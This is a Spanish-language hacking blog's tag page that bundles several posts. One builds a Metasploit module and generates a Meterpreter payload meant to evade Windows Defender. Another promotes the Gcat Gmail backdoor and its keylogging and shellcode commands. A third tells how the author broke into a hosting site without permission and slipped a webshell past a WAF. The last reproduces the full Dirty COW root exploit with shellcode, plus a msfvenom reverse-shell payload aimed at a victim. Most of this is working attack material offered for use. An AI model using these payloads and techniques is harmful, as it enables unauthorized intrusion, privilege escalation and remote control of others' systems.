Mostrando entradas con la etiqueta Bugs y Exploits. Mostrar todas las entradas

Tutorial Inyeccion SSI (Server Side Includes)

Buscar Botnets en Hostings

Usando PRY - Metasploit

Vamos a cubrir el uso básico de Pry para escribir un modulo sencillo que enumerará las excepciones configuradas en Windows Defender en una maquina OS X o Linux. Aunque se puede desarrollar para Metasploit en una máquina que esté corriendo Windows no es recomendado debido a todas las limitantes que nos trae. Pry es un módulo de Ruby que se puede usar en vez de irb para tener una sesión interactiva dentro del contexto del framework para ejecutar comandos y pruebas. El mismo actúa como un prompt que podríamos tener en bash o en otra consola, lo cual lo hace familiar para el rápido aprendizaje del mismo.

Comencemos con preparar una estructura de carpetas similar a la estructura que usa Metasploit Framework para sus módulos y la inicializamos con git de manera de poder tener control de versión de la misma.

 infidel01:~ carlos$ mkdir -p modulos/post/windows/gather  
 infidel01:~ carlos$ cd modulos/  
 Initialized empty Git repository in /Users/carlos/modulos/.git/  
 infidel01:modulos carlos$ git init

Una vez inicializado podermos crear el módulo que estaremos escribiendo y lo añadimos a la base de datos de control de git.

 infidel01:modulos carlos$ touch post/windows/gather/get_windefender_exclusions.rb  
 infidel01:modulos carlos$ git add post/windows/gather/get_windefender_exclusions.rb

Abrimos en nuestro editor favorito el archivo que creamos y creamos lo que llamo el esqueleto de un modulo de post-exploitation en el cual incluimos el mixin de registry para Windows y de reporte.

Añadimos información general como la licencia, autor, que es para un sistema Windows y que el tipo de sesión es Meterpreter.

Los mixin serían:

* Msf::Post::Windows::Registry
* include Msf::Auxiliary::Report

El modulo se vería así

 ##  
 # This module requires Metasploit: http://metasploit.com/download  
 # Current source: https://github.com/rapid7/metasploit-framework  
 require 'msf/core/auxiliary/report'  
 ##  
 require 'msf/core'  
 require 'rex'  
 class Metasploit3 < Msf::Post  
 include Msf::Auxiliary::Report  
 include Msf::Post::Windows::Registry  
  def initialize(info={})  
 'Name'     => 'Windows enumerate Windows Defender exclusions.',  
 super( update_info( info,  
    'Description'  => %q{  
 'License'    => BSD_LICENSE,  
 Windows enumerate Windows Defender exclusions.  
    },  
 'Author'    => [ 'Carlos Perez ' ],  
 'Platform'   => [ 'win' ],  
 'SessionTypes' => [ 'meterpreter' ]  
 ))  
  end  
  def run()  
 print_status("Running post module against #{sysinfo['Computer']}")  
 end  
 end

Generemos un payload en formato PowerShell de manera que evite la detección del mismo Windows Defender dandole como LHOST el IP de la máquina donde esta msfconsole corriendo:

 msf > use payload/windows/meterpreter/reverse_http  
 msf payload(reverse_http) > set LHOST 192.168.100.2  
 LHOST => 192.168.100.2  
 msf payload(reverse_http) > generate -t psh-reflection -f /tmp/dev_payload.ps1  
 [*] Writing 2673 bytes to /tmp/dev_payload.ps1...  
 msf payload(reverse_http) >

Ahora usando el Multi Handler creamos un trabajo que recibirá la sesión usando la información previa, ponemos ExitOnSession en falso de manera que siga escuchando por mas conexiones una vez establezca una e inicializamos el mismo como un job y en background.

 msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http  
 PAYLOAD => windows/meterpreter/reverse_http  
 LHOST => 192.168.100.2  
 msf exploit(handler) > set LHOST 192.168.100.2  
 msf exploit(handler) > exploit -j -z  
 msf exploit(handler) > set ExitOnSession false  
 ExitOnSession => false  
 [*] Started HTTP reverse handler on http://0.0.0.0:8080/  
 [*] Exploit running as background job.  
 msf exploit(handler) > [*] Starting the payload handler...

En nuestra máquina Windows 8/8.1/10 abrimos Windows PowerShell x86 y copiamos el contenido del PS1 en la misma pantalla y lo ejecutamos, una sesión debe ser creada en msfconsole.

 msf payload(reverse_http) >   
 [*] 192.168.100.176:51786 (UUID: b0790294217a0a22/x86=1/windows=1/2015-09-22T18:32:23Z) Staging Native payload ...  
 [*] Meterpreter session 1 opened (192.168.100.1:8080 -> 192.168.100.176:51786) at 2015-09-22 14:32:24 -0400  
 Type: meterpreter x86/win32  
 msf payload(reverse_http) > sessions -v  
 Active sessions  
 ===============  
  Session ID: 1  
 Via: exploit/multi/handler  
 Info: WIN-RB3R8HILN3R\Carlos Perez @ WIN-RB3R8HILN3R  
    Tunnel: 192.168.100.1:8080 -> 192.168.100.176:51786 (192.168.100.176)  
 CheckIn: 4s ago @ 2015-09-22 14:40:19 -0400  
 UUID: b0790294217a0a22/x86=1/windows=1/2015-09-22T18:32:23Z  
   MachineID: 272520e89cdbf67b2d3f87c9696871cd  
  Registered: No

Ahora podemos decirle a msfconsole que cargue el modulo que creamos del directorio de desarrollo.

 msf payload(reverse_http) > loadpath ~/modulos  
 Loaded 1 modules:  
 1 post

Cargamos el modulo de manera de poder configurar el mismo con la sesión que creamos previamente y probamos que podemos ver su información.

 msf exploit(handler) > use post/windows/gather/get_windefender_exclusions   
 msf post(get_windefender_exclusions) > set SESSION 1  
 SESSION => 1  
 Name: Windows enumerate Windows Defender exclusions.  
 msf post(get_windefender_exclusions) > info  
    Module: post/windows/gather/get_windefender_exclusions  
 Carlos Perez   
 Platform: Windows  
     Arch:   
     Rank: Normal  
 Provided by:  
 Basic options:  
 Name   Current Setting Required Description  
 ----   --------------- -------- -----------  
 SESSION 1        yes    The session to run this module on.  
 Description:  
 Windows enumerate Windows Defender exclusions.

Nuestro módulo ya está apuntando a una sesión y podemos comenzar a usar pry para explorar lo que tenemos disponible bajo su contexto dentro de Metasploit Framework. Esto lo conseguimos comenzando la terminal de pry dentro del mismo msfconsole entrando el commando:

 msf post(get_windefender_exclusions) > pry  
 [1] pry(#)>

El prompt será una largo por que tiene información del módulo donde estamos. Dependiendo del tamaño de pantalla que estemos usando, el mismo puede ser un tanto incómodo. Una manera para hacer el mismo má sencillo es usando el comando simple-prompt.

 pry(#)> simple-prompt  
 >>

Para ver la ayuda de Pry entramos el comando de help, para paginar el mismo presionamos la tecla de espacio y para salir de la ayuda presionamos la tecla de Q.

 >> help

Comenzaremos con ver el código fuente del modulo mismo usando el comando show-source:

 >> show-source

Ahora miremos todas los métodos y funciones que podemos ejecutar bajo el contexto del modulo usando el comando de ls, podemos igual que antes paginar usando la tecla de espacio y salir presionando la tecla Q:

 >> ls

como estaremos trabajando con el registry listemos solo los métodos relacionados con el mismo dándole el nombre del mixin de registry que importamos, el comando sería "ls Msf::Post::Windows::Registry"

 >> ls Msf::Post::Windows::Registry  
 constants: REGISTRY_VIEW_32_BIT REGISTRY_VIEW_64_BIT REGISTRY_VIEW_NATIVE  
 Msf::Post::Windows::Registry#methods:   
 registry_createkey registry_deleteval registry_enumvals  registry_getvalinfo registry_setvaldata  
 registry_deletekey registry_enumkeys  registry_getvaldata registry_loadkey   registry_unloadkey

Podemos identificar el método registry_enumkeys como el método que nos ayudaría a conseguir los keys debajo de otro, podemos ver el código del mismo y los valores que acepta usando el comando de show-source y dandole el nombre del método:

 >> show-source registry_enumkeys  
 From: /usr/local/share/metasploit-framework/lib/msf/core/post/windows/registry.rb @ line 94:  
 Owner: Msf::Post::Windows::Registry  
 Visibility: public  
 Number of lines: 7  
 meterpreter_registry_enumkeys(key, view)  
 def registry_enumkeys(key, view = REGISTRY_VIEW_NATIVE)  
  if session_has_registry_ext  
  else  
 end  
 shell_registry_enumkeys(key, view)  
 end

Podemos ver que requiere una valor que seria la llave que vamos a enumerar y el otro es una constante ya dada que tiene que ver con si queremos ver solo el valor de la llave en contexto x64, x86 o la visión nativa del proceso bajo el cual estamos corriendo, en el caso que esté corriendo en una maquina X64 y la versión de Meterpreter que estamos usando es x86 necesitamos especificar que es el contexto de x64 el que queremos, si no el contexto nativo es suficiente. Para ver la información de la arquitectura del sistema podemos ver la variable sysinfo que se auto genera en una sesión meterpreter la cual incluye la información:

 >> sysinfo  
 => {"Computer"=>"WIN-RB3R8HILN3R",  
 "OS"=>"Windows 10 (Build 10240).",  
 "Architecture"=>"x64 (Current Process is WOW64)",  
 "System Language"=>"en_GB",  
 "Logged On Users"=>2}  
 "Domain"=>"WORKGROUP",

Probemos enumerando la llave que contiene la excepciones de Windows Defender que es HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions y ver que valores nos devuelve:

 >> registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions", REGISTRY_VIEW_64_BIT)  
 => ["Extensions", "Paths", "Processes", "TemporaryPaths"]

Podemos ver que nos devuelve un array con los nombres de las llaves. Podemos editar nuestro modulo desde dentro del mismo pry si deseamos. Guardemos el array que recibimos de tipos de exclusión en una variable de manera de poder entonces enumerar cada uno de ellos.

 >> exclusion_key = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"  
 => "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"  
 => ["Extensions", "Paths", "Processes", "TemporaryPaths"]  
 >> exception_types = registry_enumkeys(exclusion_key,REGISTRY_VIEW_64_BIT)

Ahora podemos probar cata tipo de excepcion y ver si tenemos alguna configurada.

 >> exception_types.each do |et|  
 |  puts registry_enumvals("#{exclusion_key}\\#{et}",REGISTRY_VIEW_64_BIT)  
 | end  
 C:\Users\Carlos Perez\Desktop\test_code  
 \\192.168.1.2\media  
 => ["Extensions", "Paths", "Processes", "TemporaryPaths"]

Podemos ver que podemos enumerar las que están configuradas de tipo path. Ahora que tenemos toda la información que necesitamos y que confirmamos podemos salir de pry escribiendo el comando de exit. Una vez fuera podemos escribir edit en msfconsole

 >> exit  
 msf post(get_windefender_exclusions) > edit

Podemos ahora terminar de añadir toda la lógica necesaria para terminal el módulo.

 ##  
 # This module requires Metasploit: http://metasploit.com/download  
 # Current source: https://github.com/rapid7/metasploit-framework  
 require 'msf/core/auxiliary/report'  
 ##  
 require 'msf/core'  
 require 'rex'  
 class Metasploit3 < Msf::Post  
 include Msf::Auxiliary::Report  
 include Msf::Post::Windows::Registry  
  def initialize(info={})  
 'Name'     => 'Windows enumerate Windows Defender exclusions.',  
 super( update_info( info,  
    'Description'  => %q{  
 'License'    => BSD_LICENSE,  
 Windows enumerate Windows Defender exclusions.  
    },  
 'Author'    => [ 'Carlos Perez ' ],  
 'Platform'   => [ 'win' ],  
 'SessionTypes' => [ 'meterpreter' ]  
 ))  
  end  
  def run()  
 print_status("Running post module against #{sysinfo['Computer']}")  
 print_status("Enumerating Windows Defender exceptions:")  
 if sysinfo['Architecture'] =~ /x64/  
 exclusion_key = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"  
 exception_types = registry_enumkeys(exclusion_key)  
 exception_types = registry_enumkeys(exclusion_key,REGISTRY_VIEW_64_BIT)  
   else  
   end  
   exception_types.each do |et|  
 exclusions = registry_enumvals("#{exclusion_key}\\#{et}",REGISTRY_VIEW_64_BIT)  
 vprint_status("Checking for #{et} exceptions.")  
    if sysinfo['Architecture'] =~ /x64/  
    else  
     exclusions = registry_enumvals("#{exclusion_key}\\#{et}")  
 vprint_status("No exclusions found for #{et}")  
 end  
    if exclusions.length > 0  
     print_status("Exceptions found for #{et}")  
     exclusions.each do |exc|  
      print_good("\t#{exc}")  
     end  
    else  
 end  
 end  
   end  
 end

Una vez salimos del editor msfconsole vuelve a cargar el módulo y podemos ahora probar los cambios.

 msf post(get_windefender_exclusions) > edit  
 [*] Launching /usr/bin/vim /Users/carlos/modulos/post/windows/gather/get_windefender_exclusions.rb  
 msf post(get_windefender_exclusions) > reload  
 [*] Reloading module...  
 [*] Enumerating Windows Defender exceptions:  
 msf post(get_windefender_exclusions) > run  
 [*] Running post module against WIN-RB3R8HILN3R  
 [*] Post module execution completed  
 [*] Exceptions found for Paths  
 [+] C:\Users\Carlos Perez\Desktop\test_code  
 [+] \\192.168.1.2\media  
 msf post(get_windefender_exclusions) >

En resumen, hemos visto como Pry nos puede ayudar a poder visualizar mejor las llamadas del API, probar las mismas y a su vez reducir el tiempo cuando escribimos un módulo. Los mismos conceptos nos pueden servir cuando estamos tratando de resolver problemas con módulos existentes probando cada uno de sus componentes.

Gcat - Usando Gmail para Mando y Control

Gcat es un backdoor Python sigiloso que utiliza Gmail como un servidor de comando y control. Es bastante básico en este momento, pero es una interesante prueba de concepto y si la comunidad se puso detrás de ella y contribuyó algunas nuevas características que podría ser una muy poderosa pieza de equipo.

Cuanto a prestaciones que no tiene que mucho, no puedes subir archivos todavía, pero usted puede ejecutar código shell, descargar archivos y capturas de pantalla de captura.

Pero como concepto es genial, el tráfico de correo electrónico? ¿Cuántas organizaciones bloquearán que, sobre todo a los servidores de Google. Camino menos visible que el tráfico típico de IRC.

Setup

Configuración

Para que esto funcione se necesita:

Una cuenta de Gmail (Utilice una cuenta dedicada! No utilice su ser personal!)
Encienda "Permitir aplicaciones menos seguras" en virtud de la configuración de seguridad de la cuenta

Este repo contiene dos archivos:

gcat.py una secuencia de comandos que se utiliza para enumerar y tema ordena a los clientes disponibles
implant.py la puerta trasera real de implementar

En ambos archivos, editar los gmail_user y gmail_pwd variables con el nombre de usuario y la contraseña de la cuenta que previamente configuración.

Usted está probablemente va a querer compilar implant.py en un archivo ejecutable utilizando PyInstaller.

Opciones

Gcat
 
optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve
 
  -list                 List available clients
  -info                 Retrieve info on specified client
 
Commands:
  Commands to execute on an implant
 
  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger

Usando Gcat

#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86

Una vez que haya implementado la puerta de atrás en un par de sistemas, puede comprobar los clientes disponibles utilizando el comando list:

La salida es una cadena UUID que identifica de forma exclusiva el sistema y el sistema operativo el implante se está ejecutando en

Vamos a emitir un comando a un implante:

#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv

Aquí le estamos diciendo 90b2cd83-cb36-52de-84ee-99db6ff41a11 ejecutar ipconfig / all, el guión y luego da salida a la JobID que podemos utilizar para recuperar la salida de ese comando

Permite obtener los resultados!

Código:

#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv  
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
 
 
Windows IP Configuration
 
        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No
 
-- SNIP --

Descargar

Engañando al WAF con XMP

Me encontraba tratando de acceder a un hosting por X motivos, digamos que había "algo" interesante para llevarlo a uno a meterse donde no lo invitan, probablemente mas adelante le dedique un apartado en este blog a ese "algo", pero por ahora se los dejare picando. Una vez que había logrado evadir el formulario de autentificación que me llevaba a la zona del admin lo demás parecía sencillo, subir shell mediante uno de los uploads. Había dos tipos: de imagenes y de ficheros pdf.

Este ultimo no realizaba ningún tipo de control sobre la extención del archivo que se le pasaba, pero al momento de enviar la shell era redirigido hacia una respuesta 406.

Me suena a WAF!, ¿sera ModSec?

Al comienzo creí que el WAF filtraba funciones peligrosas como popen, system, shell_exec, etc, pero a medida que probaba me fui dando cuenta de que no permitía la inclusión de los tags <? ?> directamente. Cada vez que trataba de evadir las restricciones para colar mi código seguía recibiendo el cachetazo en seco del 406, cuando se me ocurrió que podía desactivar ModSec con un .htaccess fue en vano, el 406 seguía ahí. Así que ya en las ultimas a punto de desistir tuve la idea de embeber codigo php en el EOF de una imagen del tipo png, y si!, finalmente había subido exitosamente la shell!, pero al momento de llamarla no se ejecutaba!, ¿por qué?.

Por lógica no tendría que haber problema, se tendrían que visualizar los caracteres ilegibles seguidos de mi webshell, esto ya me estaba frustrando. Supuse que quizá se trataba de algún tag abierto dentro del source de la imagen, así que me puse a relojear el code para encontrarme con una cadena que llamo poderosamente mi atención.

¿Por que el WAF no saltaba?, si incluía los tags <? ?>

Extensible Metadata Platform (XMP)

XMP es un estándar ISO creado por adobe para el registro de metadatos en formato XML en archivos pdf e imágenes.

Para cerciorarme de que el WAF realmente no restringía el pasaje de la cadena <?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> decidí subirla en limpio.

Evidentemente había logrado insertar los tags sin recibir un 406 a cambio!, por supuesto al momento de ejecutar el script aparecía un error de sintaxis debido a que lo que se encontraba entre <? ?> no se trataba de una estructura PHP valida, solo faltaba saber ¿hasta que punto controlaba el WAF la regla de la cabecera XMP?.

Jugando un poco con el string a través de ensayo y error, llegue a la conclusión de que los tags podían incluirse siempre y cuando se respete la siguiente regla.

Código: PHP

<?xpacket ?>

Entonces para disfrazar esta oportunidad y que mi script pasara desapercibido ante ModSec, se me ocurrió crear una función llamada xpacket que iba a contener la instrucción a ejecutar, en este caso descargar una webshell en el servidor.

De esta manera logre hacer a un lado las restricciones para tener una consola de comandos web limpia dentro del hosting.

Probablemente existan muchas otra maneras de saltarse el firewall web, pero esta me pareció de los mas interesante, además de que surgió de la persistencia con un toque de suerte ;)

Saludos!

¿Qué es un exploit? - Cómo funciona

Encontrar shells con Fwshell

Dirty COW - Linux Kernel Exploit

Hace aproximadamente un mes, la comunidad linuxera (incluyéndome) se entero de una noticia que simplemente no se podría creer, un fallo de hace 9 años nuevamente estaba presente exponiendo un gran agujero de seguridad en las versiones: Ubuntu 14.04 y Ubuntu 15.10.

las consecuencias que con lleva son catastróficas, permite al atacante obtener privilegios root por medio de dicho una explotacion local, exponiendo todo el sistema de la victima sin ninguna excepción.

el bug también afecta a todos los dispositivos android de la versión 7 para abajo.

Elevando privilegios de usuario a root en Ubuntu 15.10

Exploit:

 /*  
 *  
 * EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.  
 *  
 * (un)comment correct payload first (x86 or x64)!  
 *   
 * $ gcc cowroot.c -o cowroot -pthread  
 * $ ./cowroot  
 * DirtyCow root privilege escalation  
 * Backing up /usr/bin/passwd.. to /tmp/bak  
 * Size of binary: 57048  
 * Racing, this may take a while..  
 * /usr/bin/passwd is overwritten  
 * Popping root shell.  
 * Don't forget to restore /tmp/bak  
 * thread stopped  
 * thread stopped  
 * root@box:/root/cow# id  
 * uid=0(root) gid=1000(foo) groups=1000(foo)  
 */  
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <sys/mman.h>  
 #include <fcntl.h>  
 #include <pthread.h>  
 #include <string.h>  
 #include <unistd.h>  
 void *map;  
 int f;  
 int stop = 0;  
 struct stat st;  
 char *name;  
 pthread_t pth1,pth2,pth3;  
 // change if no permissions to read  
 char suid_binary[] = "/usr/bin/passwd";  
 /*  
 * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i  
 */  
 unsigned char sc[] = {  
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,  
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,  
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,  
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,  
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,  
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05  
 };  
 unsigned int sc_len = 177;  
 /*  
 * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i  
 unsigned char sc[] = {  
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,  
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,  
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,  
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,  
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,  
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,  
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,  
  0x89, 0xe1, 0xcd, 0x80  
 };  
 unsigned int sc_len = 136;  
 */  
 void *madviseThread(void *arg)  
 {  
   char *str;  
   str=(char*)arg;  
   int i,c=0;  
   for(i=0;i<1000000 && !stop;i++) {  
     c+=madvise(map,100,MADV_DONTNEED);  
   }  
   printf("thread stopped\n");  
 }  
 void *procselfmemThread(void *arg)  
 {  
   char *str;  
   str=(char*)arg;  
   int f=open("/proc/self/mem",O_RDWR);  
   int i,c=0;  
   for(i=0;i<1000000 && !stop;i++) {  
     lseek(f,map,SEEK_SET);  
     c+=write(f, str, sc_len);  
   }  
   printf("thread stopped\n");  
 }  
 void *waitForWrite(void *arg) {  
   char buf[sc_len];  
   for(;;) {  
     FILE *fp = fopen(suid_binary, "rb");  
     fread(buf, sc_len, 1, fp);  
     if(memcmp(buf, sc, sc_len) == 0) {  
       printf("%s is overwritten\n", suid_binary);  
       break;  
     }  
     fclose(fp);  
     sleep(1);  
   }  
   stop = 1;  
   printf("Popping root shell.\n");  
   printf("Don't forget to restore /tmp/bak\n");  
   system(suid_binary);  
 }  
 int main(int argc,char *argv[]) {  
   char *backup;  
   printf("DirtyCow root privilege escalation\n");  
   printf("Backing up %s.. to /tmp/bak\n", suid_binary);  
   asprintf(&backup, "cp %s /tmp/bak", suid_binary);  
   system(backup);  
   f = open(suid_binary,O_RDONLY);  
   fstat(f,&st);  
   printf("Size of binary: %d\n", st.st_size);  
   char payload[st.st_size];  
   memset(payload, 0x90, st.st_size);  
   memcpy(payload, sc, sc_len+1);  
   map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);  
   printf("Racing, this may take a while..\n");  
   pthread_create(&pth1, NULL, &madviseThread, suid_binary);  
   pthread_create(&pth2, NULL, &procselfmemThread, payload);  
   pthread_create(&pth3, NULL, &waitForWrite, NULL);  
   pthread_join(pth3, NULL);  
   return 0;  
 }

Lo primero que debemos hacer ver la fuente del archivo en 40616.c, lo puede hacer en cualquier editor de texto, en mi caso lo abrí por Sublime Text, para que puedan ver lo principal.

Vemos que el exploit esta generado en msfvenom quiere decir que es un payload.

Este exploit funciona de la siguiente manera, notaron que hay 2 payloads de 64 y 32 bits, por default el de 64bits esta sin comentarios cabe decir que funcionara solamente para esa arquitectura, ya que el de 32 bits esta comentado y no ejercerá ninguna función.

64bits
Código:

 /*  
 * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i  
 */  
 unsigned char sc[] = {  
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,  
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,  
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,  
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,  
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,  
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05  
 };  
 unsigned int sc_len = 177;

32bits

 /*  
 * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i  
 unsigned char sc[] = {  
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,  
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,  
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,  
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,  
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,  
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,  
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,  
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,  
  0x89, 0xe1, 0xcd, 0x80  
 };  
 unsigned int sc_len = 136;  
 */

En esta prueba de concepto, estoy exponiendo un sistema "UBUNTU 32BITS", cabe decir que eliminare el payload de 64 bits con todos sus atributos, para quedarme solamente con la arquitectura de 32bits:

ojo: también eh eliminado los comentarios del payloads de 32 bits.

luego de guárdalo pasaremos a compilar el archivo .c

Código:

 root@kali:~# gcc 40616.c -o 40616 -pthread

Una ves compilado correctamente, podemos subirlo al servidor de la victima creo que no hay necesidad de pasar a ese proceso ya que existen muchas maneras de hacerlo, si no sabes te invito a buscar los artículos de metasploit framework, en el blog.

Ustedes pueden crear su payload en formato linux, ya que deben hacerlo para poder ejecutar formatos compilados con permisos.

Creando payload en linux 32bits

Codigo:

 root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.35 LPORT=8081 -f elf > /root/Desktop/shell.elf

Estableciendo conexión meterpreter

Código:

 msf > use multi/handler  
 msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp  
 msf exploit(handler) > set LHOST 192.168.1.35  
 msf exploit(handler) > set LPORT 8081  
 msf exploit(handler) > exploit

Entonces le enviaremos nuestro payload a nuestra victima, en el momento que la victima ejecute tendremos su sesión meterpreter:

